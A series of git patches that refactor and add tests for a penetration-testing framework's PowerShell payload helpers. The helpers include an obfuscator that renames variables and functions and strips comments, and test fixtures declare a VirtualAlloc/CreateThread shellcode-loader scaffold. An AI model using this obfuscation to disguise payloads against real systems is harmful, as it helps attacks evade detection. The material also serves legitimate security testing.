@@ -79,6 +85,7 @@ def sub_funcs
     #
     # Perform standard substitutions
     #
+    # @return [String] code with standard substitution methods applied
     def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
       # Save us the trouble of breaking injected .NET and such
       subs.delete('strip_whitespace') unless string_literals.empty?
@@ -87,7 +94,8 @@ def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars}
         self.send(modifier)
       end
       code.gsub!(/^$|^\s+$/,'')
-      return code
+
+      code
     end
 
   end # Obfu
diff --git a/lib/rex/exploitation/powershell/parser.rb b/lib/rex/exploitation/powershell/parser.rb
index fc25aa404c9e..7564d5608269 100644
--- a/lib/rex/exploitation/powershell/parser.rb
+++ b/lib/rex/exploitation/powershell/parser.rb
@@ -1,8 +1,5 @@
 # -*- coding: binary -*-
 
-require 'zlib'
-require 'rex/text'
-
 module Rex
 module Exploitation
 
@@ -69,26 +66,35 @@ module Parser
     #
     # Get variable names from code, removes reserved names from return
     #
+    # @return [Array] variable names
     def get_var_names
-      our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
-      return our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
+      our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
+      our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
     end
 
     #
     # Get function names from code
     #
+    # @return [Array] function names
     def get_func_names
-      return code.scan(/function\s([a-zA-Z\-\_]+)/).uniq.flatten
+      code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
     end
 
+    #
     # Attempt to find string literals in PSH expression
+    #
+    # @return [Array] string literals
     def get_string_literals
-      code.scan(/@"(.*)"@|@'(.*)'@/)
+      code.scan(/@"(.+?)"@|@'(.+?)'@/m)
     end
 
     #
     # Scan code and return matches with index
     #
+    # @param str [String] string to match in code
+    # @param source [String] source code to match, defaults to @code
+    #
+    # @return [Array[String,Integer]] matched items with index
     def scan_with_index(str,source=code)
       ::Enumerator.new do |y|
         source.scan(str) do
@@ -100,6 +106,9 @@ def scan_with_index(str,source=code)
     #
     # Return matching bracket type
     #
+    # @param char [String] opening bracket character
+    #
+    # @return [String] matching closing bracket
     def match_start(char)
       case char
       when '{'
@@ -110,6 +119,8 @@ def match_start(char)
         ']'
       when '<'
         '>'
+      else
+        raise ArgumentError, "Unknown starting bracket"
       end
     end
 
@@ -120,7 +131,16 @@ def match_start(char)
     # Once the balanced matching bracket is found, all script content
     # between idx and the index of the matching bracket is returned
     #
+    # @param idx [Integer] index of opening bracket
+    #
+    # @return [String] content between matching brackets
     def block_extract(idx)
+      raise ArgumentError unless idx
+
+      if idx < 0 || idx >= code.length
+          raise ArgumentError, "Invalid index"
+      end
+
       start = code[idx]
       stop = match_start(start)
       delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
@@ -128,19 +148,36 @@ def block_extract(idx)
       c = 1
       sidx = nil
       # Go through delims till we balance, get idx
-      while not c == 0 and x = delims.shift do
+      while ((c != 0) && (x = delims.shift)) do
         sidx = x[1]
         x[0] == stop ? c -=1 : c+=1
       end
-      return code[idx..sidx]
+
+      code[idx..sidx]
     end
 
+    #
+    # Extract a block of function code
+    #
+    # @param func_name [String] function name
+    # @param delete [Boolean] delete the function from the code
+    #
+    # @return [String] function block
     def get_func(func_name, delete = false)
       start = code.index(func_name)
+
+      return nil unless start
+
       idx = code[start..-1].index('{') + start
       func_txt = block_extract(idx)
-      code.delete(ftxt) if delete
-      return Function.new(func_name,func_txt)
+
+      if delete
+        delete_code = code[0..idx]
+        delete_code << code[(idx+func_txt.length)..-1]
+        @code = delete_code
+      end
+
+      Function.new(func_name,func_txt)
     end
   end # Parser
 
diff --git a/lib/rex/exploitation/powershell/script.rb b/lib/rex/exploitation/powershell/script.rb
index 9331f19fde77..b60c667abc63 100644
--- a/lib/rex/exploitation/powershell/script.rb
+++ b/lib/rex/exploitation/powershell/script.rb
@@ -1,7 +1,6 @@
 # -*- coding: binary -*-
 
-require 'zlib'
-require 'rex/text'
+require 'rex'
 
 module Rex
 module Exploitation
@@ -36,6 +35,8 @@ class Script
 
     def initialize(code)
       @code = ''
+      @rig = Rex::RandomIdentifierGenerator.new()
+
       begin
         # Open code file for reading
         fd = ::File.new(code, 'rb')
diff --git a/spec/lib/rex/exploitation/powershell/obfu_spec.rb b/spec/lib/rex/exploitation/powershell/obfu_spec.rb
new file mode 100644
index 000000000000..7dded636d899
--- /dev/null
+++ b/spec/lib/rex/exploitation/powershell/obfu_spec.rb
@@ -0,0 +1,127 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/powershell'
+
+describe Rex::Exploitation::Powershell::Obfu do
+
+  let(:example_script_without_literal) do
+"""
+function Find-4624Logons
+{
+
+   if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
+        {
+            $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
+            if (-not $ReturnInfo.ContainsKey($Key))
+            {
+                $Properties = @{
+                    LogType = 4624
+                    LogSource = \"Security\"
+                    SourceAccountName = $AccountName
+                    SourceDomainName = $AccountDomain
+                    NewLogonAccountName = $NewLogonAccountName
+                    NewLogonAccountDomain = $NewLogonAccountDomain
+                    LogonType = $LogonType
+                    WorkstationName = $WorkstationName
+                    SourceNetworkAddress = $SourceNetworkAddress
+                    SourcePort = $SourcePort
+                    Count = 1
+                    Times = @($Logon.TimeGenerated)
+                }
+
+                $ResultObj = New-Object PSObject -Property $Properties
+                $ReturnInfo.Add($Key, $ResultObj)
+            }
+            else
+            {
+                $ReturnInfo[$Key].Count++
+                $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
+            }
+        }
+    }
+}"""
+
+  end
+
+  let(:example_script) do
+"""
+function Find-4624Logons
+{
+    $some_literal = @\"
+  using System;
+  using System.Runtime.InteropServices;
+  namespace $kernel32 {
+    public class func {
+      [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
+      [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
+      [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
+      [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+      [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+      [DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
+    }
+  }
+\"@
+   if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
+        {
+            $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
+            if (-not $ReturnInfo.ContainsKey($Key))
+            {
+                $Properties = @{
+                    LogType = 4624
+                    LogSource = \"Security\"
+                    SourceAccountName = $AccountName
+                    SourceDomainName = $AccountDomain
+                    NewLogonAccountName = $NewLogonAccountName
+                    NewLogonAccountDomain = $NewLogonAccountDomain
+                    LogonType = $LogonType
+                    WorkstationName = $WorkstationName
+                    SourceNetworkAddress = $SourceNetworkAddress
+                    SourcePort = $SourcePort
+                    Count = 1
+                    Times = @($Logon.TimeGenerated)
+                }
+                $literal2 = @\"parp\"@
+                $ResultObj = New-Object PSObject -Property $Properties
+                $ReturnInfo.Add($Key, $ResultObj)
+            }
+            else
+            {
+                $ReturnInfo[$Key].Count++
+                $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
+            }
+        }
+    }
+}"""
+
+  end
+
+  let(:subject) do
+    Rex::Exploitation::Powershell::Script.new(example_script)
+  end
+
+  let(:subject_no_literal) do
+    Rex::Exploitation::Powershell::Script.new(example_script_without_literal)
+  end
+
+  describe "::sub_map_generate" do
+    it 'should return some unique variable names' do
+      map = subject.sub_map_generate(['blah','parp'])
+      map.should be
+      map.should be_kind_of Hash
+      map.empty?.should be_false
+      map.should eq map.uniq
+    end
+
+    it 'should not match upper or lowercase reserved names' do
+      initial_vars = subject.get_var_names
+      subject.code << "\r\n$SHELLID"
+      subject.code << "\r\n$ShellId"
+      subject.code << "\r\n$shellid"
+      after_vars = subject.get_var_names
+      initial_vars.should eq after_vars
+    end
+  end
+
+end
+
diff --git a/spec/lib/rex/exploitation/powershell/parser_spec.rb b/spec/lib/rex/exploitation/powershell/parser_spec.rb
new file mode 100644
index 000000000000..5705c6367986
--- /dev/null
+++ b/spec/lib/rex/exploitation/powershell/parser_spec.rb
@@ -0,0 +1,159 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/powershell'
+
+describe Rex::Exploitation::Powershell::Parser do
+
+  let(:example_script) do
+"""
+function Find-4624Logons
+{
+    $some_literal = @\"
+  using System;
+  using System.Runtime.InteropServices;
+  namespace $kernel32 {
+    public class func {
+      [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
+      [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
+      [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
+      [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+      [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+      [DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
+    }
+  }
+\"@
+   if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
+        {
+            $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
+            if (-not $ReturnInfo.ContainsKey($Key))
+            {
+                $Properties = @{
+                    LogType = 4624
+                    LogSource = \"Security\"
+                    SourceAccountName = $AccountName
+                    SourceDomainName = $AccountDomain
+                    NewLogonAccountName = $NewLogonAccountName
+                    NewLogonAccountDomain = $NewLogonAccountDomain
+                    LogonType = $LogonType
+                    WorkstationName = $WorkstationName
+                    SourceNetworkAddress = $SourceNetworkAddress
+                    SourcePort = $SourcePort
+                    Count = 1
+                    Times = @($Logon.TimeGenerated)
+                }
+                $literal2 = @\"parp\"@
+                $ResultObj = New-Object PSObject -Property $Properties
+                $ReturnInfo.Add($Key, $ResultObj)
+            }
+            else
+            {
+                $ReturnInfo[$Key].Count++
+                $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
+            }
+        }
+    }
+}"""
+
+  end
+
+  let(:subject) do
+    Rex::Exploitation::Powershell::Script.new(example_script)
+  end
+
+  describe "::get_var_names" do
+    it 'should return some variable names' do
+      vars = subject.get_var_names
+      vars.should be
+      vars.should be_kind_of Array
+      vars.length.should be > 0
+      vars.include?('$ResultObj').should be_true
+    end
+
+    it 'should not match upper or lowercase reserved names' do
+      initial_vars = subject.get_var_names
+      subject.code << "\r\n$SHELLID"
+      subject.code << "\r\n$ShellId"
+      subject.code << "\r\n$shellid"
+      after_vars = subject.get_var_names
+      initial_vars.should eq after_vars
+    end
+  end
+
+  describe "::get_func_names" do
+    it 'should return some function names' do
+      funcs = subject.get_func_names
+      funcs.should be
+      funcs.should be_kind_of Array
+      funcs.length.should be > 0
+      funcs.include?('Find-4624Logons').should be_true
+    end
+  end
+
+  describe "::get_string_literals" do
+    it 'should return some string literals' do
+      literals = subject.get_string_literals
+      literals.should be
+      literals.should be_kind_of Array
+      literals.length.should be > 0
+      literals[0].include?('parp').should be_false
+    end
+  end
+
+  describe "::scan_with_index" do
+    it 'should scan code and return the items with an index' do
+      scan = subject.scan_with_index('DllImport')
+      scan.should be
+      scan.should be_kind_of Array
+      scan.length.should be > 0
+      scan[0].should be_kind_of Array
+      scan[0][0].should be_kind_of String
+      scan[0][1].should be_kind_of Integer
+    end
+  end
+
+  describe "::match_start" do
+    it 'should match the correct brackets' do
+      subject.match_start('{').should eq '}'
+      subject.match_start('(').should eq ')'
+      subject.match_start('[').should eq ']'
+      subject.match_start('<').should eq '>'
+      expect { subject.match_start('p') }.to raise_exception(ArgumentError)
+    end
+  end
+
+  describe "::block_extract" do
+    it 'should extract a block between brackets given an index' do
+      idx = subject.code.index('{')
+      block = subject.block_extract(idx)
+      block.should be
+      block.should be_kind_of String
+    end
+
+    it 'should raise a runtime error if given an invalid index' do
+      expect { subject.block_extract(nil) }.to raise_error(ArgumentError)
+      expect { subject.block_extract(-1) }.to raise_error(ArgumentError)
+      expect { subject.block_extract(subject.code.length) }.to raise_error(ArgumentError)
+      expect { subject.block_extract(59) }.to raise_error(ArgumentError)
+    end
+  end
+
+  describe "::get_func" do
+    it 'should extract a function from the code' do
+      function = subject.get_func('Find-4624Logons')
+      function.should be
+      function.should be_kind_of Rex::Exploitation::Powershell::Function
+    end
+
+    it 'should return nil if function doesnt exist' do
+      function = subject.get_func(Rex::Text.rand_text_alpha(5))
+      function.should be_nil
+    end
+
+    it 'should delete the function if delete is true' do
+      function = subject.get_func('Find-4624Logons', true)
+      subject.code.include?('DllImport').should be_false
+    end
+  end
+end
+

From 0177e511480894e9e4ab863a9593406ea60c1d1c Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 5 May 2014 18:38:48 +0100
Subject: [PATCH 102/108] Finish obfu specs and use rig

---
 lib/rex/exploitation/powershell/obfu.rb       |  39 ++---
 .../rex/exploitation/powershell/obfu_spec.rb  | 133 ++++++++++++++++--
 2 files changed, 134 insertions(+), 38 deletions(-)

diff --git a/lib/rex/exploitation/powershell/obfu.rb b/lib/rex/exploitation/powershell/obfu.rb
index 18a7b241e782..1476432256e7 100644
--- a/lib/rex/exploitation/powershell/obfu.rb
+++ b/lib/rex/exploitation/powershell/obfu.rb
@@ -9,22 +9,6 @@ module Powershell
 
   module Obfu
 
-    #
-    # Create hash of string substitutions
-    #
-    # @param strings [Array] array of strings to generate unique names
-    #
-    # @return [Hash] map of strings with new unique names
-    def sub_map_generate(strings)
-      map = {}
-      strings.flatten.each do |str|
-        @rig.init_var(str)
-        map[str] = @rig[str]
-      end
-
-      map
-    end
-
     #
     # Remove comments
     #
@@ -34,6 +18,8 @@ def strip_comments
       code.gsub!(/<#(.*?)#>/m,'')
       # Single line
       code.gsub!(/^\s*#(?!.*region)(.*$)/i,'')
+
+      code
     end
 
     #
@@ -45,6 +31,8 @@ def strip_empty_lines
       code.gsub!(/[\r\n]+/,"\r\n")
       # UNIX EOL
       code.gsub!(/[\n]+/,"\n")
+
+      code
     end
 
     #
@@ -54,6 +42,8 @@ def strip_empty_lines
     # @return [String] code with whitespace stripped
     def strip_whitespace
       code.gsub!(/\s+/,' ')
+
+      code
     end
 
     #
@@ -62,11 +52,11 @@ def strip_whitespace
     # @return [String] code with variable names replaced with unique values
     def sub_vars
       # Get list of variables, remove reserved
-      vars = get_var_names
-      # Create map, sub key for val
-      sub_map_generate(vars).each do |var,sub|
-        code.gsub!(var,sub)
+      get_var_names.each do |var,sub|
+        code.gsub!(var, "$#{@rig.init_var(var)}")
       end
+
+      code
     end
 
     #
@@ -76,10 +66,11 @@ def sub_vars
     #   values
     def sub_funcs
       # Find out function names, make map
-      # Sub map keys for values
-      sub_map_generate(get_func_names).each do |var,sub|
-        code.gsub!(var,sub)
+      get_func_names.each do |var, sub|
+        code.gsub!(var, @rig.init_var(var))
       end
+
+      code
     end
 
     #
@@ -88,7 +79,7 @@ def sub_funcs
     # @return [String] code with standard substitution methods applied
     def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
       # Save us the trouble of breaking injected .NET and such
-      subs.delete('strip_whitespace') unless string_literals.empty?
+      subs.delete('strip_whitespace') unless get_string_literals.empty?
       # Run selected modifiers
       subs.each do |modifier|
         self.send(modifier)
diff --git a/spec/lib/rex/exploitation/powershell/obfu_spec.rb b/spec/lib/rex/exploitation/powershell/obfu_spec.rb
index 7dded636d899..39c83ed7bd41 100644
--- a/spec/lib/rex/exploitation/powershell/obfu_spec.rb
+++ b/spec/lib/rex/exploitation/powershell/obfu_spec.rb
@@ -10,6 +10,24 @@
 function Find-4624Logons
 {
 
+<#
+
+multiline_comment
+
+#>
+\r\n\r\n\r\n
+\r\n
+
+lots \t of   whitespace
+
+\n\n\n\n\n
+\n\n
+
+
+# single_line_comment1
+    # single_line_comment2
+    #
+    # single_line_comment3    
    if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
         {
             $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
@@ -48,6 +66,25 @@
 """
 function Find-4624Logons
 {
+
+<#
+
+multiline_comment
+
+#>
+\r\n\r\n\r\n
+\r\n
+
+lots \t of   whitespace
+
+\n\n\n\n\n
+\n\n
+
+
+# single_line_comment1
+    # single_line_comment2
+    #
+    # single_line_comment3    
     $some_literal = @\"
   using System;
   using System.Runtime.InteropServices;
@@ -104,24 +141,92 @@
     Rex::Exploitation::Powershell::Script.new(example_script_without_literal)
   end
 
-  describe "::sub_map_generate" do
-    it 'should return some unique variable names' do
-      map = subject.sub_map_generate(['blah','parp'])
-      map.should be
-      map.should be_kind_of Hash
-      map.empty?.should be_false
-      map.should eq map.uniq
+  describe "::strip_comments" do
+    it 'should strip a multiline comment' do
+      subject.strip_comments
+      subject.code.should be
+      subject.code.should be_kind_of String
+      subject.code.include?('comment').should be_false
     end
 
-    it 'should not match upper or lowercase reserved names' do
-      initial_vars = subject.get_var_names
-      subject.code << "\r\n$SHELLID"
-      subject.code << "\r\n$ShellId"
-      subject.code << "\r\n$shellid"
-      after_vars = subject.get_var_names
-      initial_vars.should eq after_vars
+    it 'should strip a single line comment' do
+      subject.strip_comments
+      subject.code.should be
+      subject.code.should be_kind_of String
+      subject.code.include?('#').should be_false
     end
   end
 
+  describe "::strip_empty_lines" do
+    it 'should strip extra windows new lines' do
+      subject.strip_empty_lines
+      subject.code.should be
+      subject.code.should be_kind_of String
+      res = (subject.code =~ /\r\n\r\n/)
+      res.should be_false
+    end
+
+    it 'should strip extra unix new lines' do
+      subject.strip_empty_lines
+      subject.code.should be
+      subject.code.should be_kind_of String
+      res = (subject.code =~ /\n\n/)
+      res.should be_false
+    end
+  end
+
+  describe "::strip_whitespace" do
+    it 'should strip additional whitespace' do
+      subject.strip_whitespace
+      subject.code.should be
+      subject.code.should be_kind_of String
+      subject.code.include?('lots of whitespace').should be_true
+    end
+  end
+
+  describe "::sub_vars" do
+    it 'should replace variables with unique names' do
+      subject.sub_vars
+      subject.code.should be
+      subject.code.should be_kind_of String
+      subject.code.include?('$kernel32').should be_false
+      subject.code.include?('$Logon').should be_false
+    end
+  end
+
+  describe "::sub_funcs" do
+    it 'should replace functions with unique names' do
+      subject.sub_funcs
+      subject.code.should be
+      subject.code.should be_kind_of String
+      subject.code.include?('Find-4624Logons').should be_false
+    end
+  end
+
+  describe "::standard_subs" do
+    it 'should run all substitutions on a script with no literals' do
+      subject_no_literal.standard_subs
+      subject_no_literal.code.should be
+      subject_no_literal.code.should be_kind_of String
+      subject_no_literal.code.include?('Find-4624Logons').should be_false
+      subject_no_literal.code.include?('lots of whitespace').should be_true
+      subject_no_literal.code.include?('$kernel32').should be_false
+      subject_no_literal.code.include?('comment').should be_false
+      res = (subject_no_literal.code =~ /\r\n\r\n/)
+      res.should be_false
+    end
+
+    it 'should run all substitutions except strip whitespace when literals are present' do
+      subject.standard_subs
+      subject.code.should be
+      subject.code.should be_kind_of String
+      subject.code.include?('Find-4624Logons').should be_false
+      subject.code.include?('lots of whitespace').should be_false
+      subject.code.include?('$kernel32').should be_false
+      subject.code.include?('comment').should be_false
+      res = (subject.code =~ /\r\n\r\n/)
+      res.should be_false
+    end
+  end
 end
 

From 0b886db406bbdce92bf33924f1f1c5005eeb9d2f Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 5 May 2014 19:01:36 +0100
Subject: [PATCH 103/108] Script specs and remove unknown method

---
 lib/rex/exploitation/powershell/script.rb     | 12 +----
 .../exploitation/powershell/script_spec.rb    | 48 +++++++++++++++++++
 2 files changed, 49 insertions(+), 11 deletions(-)
 create mode 100644 spec/lib/rex/exploitation/powershell/script_spec.rb

diff --git a/lib/rex/exploitation/powershell/script.rb b/lib/rex/exploitation/powershell/script.rb
index b60c667abc63..3b3643dfd4b0 100644
--- a/lib/rex/exploitation/powershell/script.rb
+++ b/lib/rex/exploitation/powershell/script.rb
@@ -9,7 +9,7 @@ module Powershell
 
   class Script
     attr_accessor :code
-    attr_reader :functions
+    attr_reader :functions, :rig
 
     include Output
     include Parser
@@ -88,16 +88,6 @@ def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3
       return psh << lines.join("") + "\r\n"
     end
 
-    #
-    # ?? RageLtMan
-    #
-    # @param dir [String] ?
-    def self.psp_funcs(dir)
-      scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/}
-      functions = scripts.map {|s| Script.new(s).functions}
-      return functions.flatten
-    end
-
     #
     # Return list of code modifier methods
     #
diff --git a/spec/lib/rex/exploitation/powershell/script_spec.rb b/spec/lib/rex/exploitation/powershell/script_spec.rb
new file mode 100644
index 000000000000..7b7b8496062b
--- /dev/null
+++ b/spec/lib/rex/exploitation/powershell/script_spec.rb
@@ -0,0 +1,48 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/powershell'
+
+describe Rex::Exploitation::Powershell::Output do
+
+  let(:example_script) do
+    Rex::Text.rand_text_alpha(400)
+  end
+
+  let(:subject) do
+    Rex::Exploitation::Powershell::Script.new(example_script)
+  end
+
+  describe "::initialize" do
+    it 'should create a new script object' do
+      subject.should be
+      subject.should be_kind_of Rex::Exploitation::Powershell::Script
+      subject.rig.should be
+      subject.rig.should be_kind_of Rex::RandomIdentifierGenerator
+      subject.code.should be
+      subject.code.should be_kind_of String
+      subject.code.empty?.should be_false
+      subject.functions.empty?.should be_true
+    end
+  end
+
+  describe "::to_byte_array" do
+    it 'should generate a powershell byte array' do
+      byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp")
+      byte_array.should be
+      byte_array.should be_kind_of String
+      byte_array.include?('[Byte[]] $').should be_true
+    end
+  end
+
+  describe "::code_modifiers" do
+    it 'should return an array of modifier methods' do
+      mods = Rex::Exploitation::Powershell::Script.code_modifiers
+      mods.should be
+      mods.should be_kind_of Array
+      mods.empty?.should be_false
+    end
+  end
+
+end
+

From e946046de5bb604152f6e8c084c1686da4f5f3fa Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 5 May 2014 19:08:18 +0100
Subject: [PATCH 104/108] Add methods spec

---
 .../powershell/psh_methods_spec.rb            | 44 +++++++++++++++++++
 1 file changed, 44 insertions(+)
 create mode 100644 spec/lib/rex/exploitation/powershell/psh_methods_spec.rb

diff --git a/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb
new file mode 100644
index 000000000000..a1c85cfac657
--- /dev/null
+++ b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb
@@ -0,0 +1,44 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/powershell'
+
+describe Rex::Exploitation::Powershell::PshMethods do
+
+  describe "::download" do
+    it 'should return some powershell' do
+      script = Rex::Exploitation::Powershell::PshMethods.download('a')
+      script.should be
+      script.include?('WebClient').should be_true
+    end
+  end
+  describe "::uninstall" do
+    it 'should return some powershell' do
+      script = Rex::Exploitation::Powershell::PshMethods.uninstall('a')
+      script.should be
+      script.include?('Win32_Product').should be_true
+    end
+  end
+  describe "::secure_string" do
+    it 'should return some powershell' do
+      script = Rex::Exploitation::Powershell::PshMethods.secure_string('a')
+      script.should be
+      script.include?('AsPlainText').should be_true
+    end
+  end
+  describe "::who_locked_file?" do
+    it 'should return some powershell' do
+      script = Rex::Exploitation::Powershell::PshMethods.who_locked_file?('a')
+      script.should be
+      script.include?('Get-Process').should be_true
+    end
+  end
+  describe "::get_last_login" do
+    it 'should return some powershell' do
+      script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a')
+      script.should be
+      script.include?('Get-QADComputer').should be_true
+    end
+  end
+end
+

From dc382127414190c8ffbc4a173145dc307356252b Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 5 May 2014 20:53:36 +0100
Subject: [PATCH 105/108] Fix function parsing

---
 lib/rex/exploitation/powershell/function.rb   | 24 +++++++++++++++----
 lib/rex/exploitation/powershell/param.rb      |  2 +-
 .../exploitation/powershell/function_spec.rb  | 13 ++++++++--
 3 files changed, 31 insertions(+), 8 deletions(-)

diff --git a/lib/rex/exploitation/powershell/function.rb b/lib/rex/exploitation/powershell/function.rb
index 8468380bd0de..76fcf5d86e57 100644
--- a/lib/rex/exploitation/powershell/function.rb
+++ b/lib/rex/exploitation/powershell/function.rb
@@ -37,12 +37,26 @@ def populate_params
       # Get start of our block
       idx = scan_with_index('(',code[start..-1]).first.last + start
       pclause = block_extract(idx)
-      # Keep lines which declare a variable of some class
-      vars = pclause.split(/\n|;/).select {|e| e =~ /\]\$\w/}
-      vars.map! {|v| v.split('=',2).first}.map(&:strip)
+
+      func_regex = /\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i
+      #func_regex = /\[(\w+\[\])\]\.?\$(\w+)\s?=|\[(\w+)\]\s?\$(\w+)\s?=/i
+      matches = pclause.scan(func_regex)
+
       # Ignore assignment, create params with class and variable names
-      vars.map {|e| e.split('$')}.each do |klass,name|
-        @params << Param.new(klass,name)
+      matches.each do |param|
+        klass = nil
+        name = nil
+        param.each do |value|
+          if value
+            if klass
+              name = value
+              @params << Param.new(klass,name)
+              break
+            else
+              klass = value
+            end
+          end
+        end
       end
     end
   end
diff --git a/lib/rex/exploitation/powershell/param.rb b/lib/rex/exploitation/powershell/param.rb
index 652f0af1ec15..27815e9e1feb 100644
--- a/lib/rex/exploitation/powershell/param.rb
+++ b/lib/rex/exploitation/powershell/param.rb
@@ -8,7 +8,7 @@ module Powershell
   class Param
     attr_accessor :klass, :name
     def initialize(klass,name)
-      @klass = klass.strip.gsub(/\[|\]|\s/,'')
+      @klass = klass.strip
       @name = name.strip.gsub(/\s|,/,'')
     end
 
diff --git a/spec/lib/rex/exploitation/powershell/function_spec.rb b/spec/lib/rex/exploitation/powershell/function_spec.rb
index 6ad49989b949..bb9159fe2140 100644
--- a/spec/lib/rex/exploitation/powershell/function_spec.rb
+++ b/spec/lib/rex/exploitation/powershell/function_spec.rb
@@ -35,7 +35,12 @@
 
             [Parameter( Position = 1 )]
             [Type]
-            $ReturnType = [Void]
+            $ReturnType = [Void],
+
+            [String]$Parpy='hello',
+            [Integer] $puppy = 1,
+
+            [Array[]] $stuff = Array[],
         )
 
         $Domain = [AppDomain]::CurrentDomain
@@ -68,7 +73,11 @@
       function.code.should eq example_function_with_params
       function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_true
       function.params.should be_kind_of Array
-      function.params.length.should be == 2
+      function.params.length.should be == 5
+      function.params[0].klass.should eq 'Type[]'
+      function.params[0].name.should eq 'Parameters'
+      function.params[1].klass.should eq 'Type'
+      function.params[1].name.should eq 'ReturnType'
     end
   end
 

From b28343842f596ce64824c9a01b9deb049bb9b10f Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 20 Jul 2014 21:00:34 +0100
Subject: [PATCH 106/108] Address @jhart-r7's comments

---
 lib/rex/exploitation/powershell/function.rb    |  8 ++++----
 lib/rex/exploitation/powershell/obfu.rb        | 18 ++++++++++++------
 lib/rex/exploitation/powershell/parser.rb      |  2 +-
 lib/rex/exploitation/powershell/psh_methods.rb |  6 +++---
 .../powershell/psh_methods_spec.rb             |  6 +++---
 5 files changed, 23 insertions(+), 17 deletions(-)

diff --git a/lib/rex/exploitation/powershell/function.rb b/lib/rex/exploitation/powershell/function.rb
index 76fcf5d86e57..bd8ae6e433f1 100644
--- a/lib/rex/exploitation/powershell/function.rb
+++ b/lib/rex/exploitation/powershell/function.rb
@@ -6,6 +6,8 @@ module Exploitation
 module Powershell
 
   class Function
+    FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
+    PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
     attr_accessor :code, :name, :params
 
     include Output
@@ -32,15 +34,13 @@ def to_s
     #
     def populate_params
       @params = []
-      start = code.index(/param\s+\(|param\(/im)
+      start = code.index(PARAMETER_REGEX)
       return unless start
       # Get start of our block
       idx = scan_with_index('(',code[start..-1]).first.last + start
